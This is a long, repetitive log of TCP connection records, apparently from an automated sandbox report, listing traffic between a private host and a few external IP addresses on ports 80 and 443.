Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49775 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49775
Source: global traffic	TCP traffic: 192.168.2.5:49775 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49775 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49774
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49776 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770

Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49774 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49775 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49776 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49777 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49777 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49778 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49779 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49780 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49781 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49782 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49783 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49784 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49785 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49786 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49786 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49787 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49788 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49789 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49790 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49790 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49790 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49790 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49789 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 187.45.240.69:80
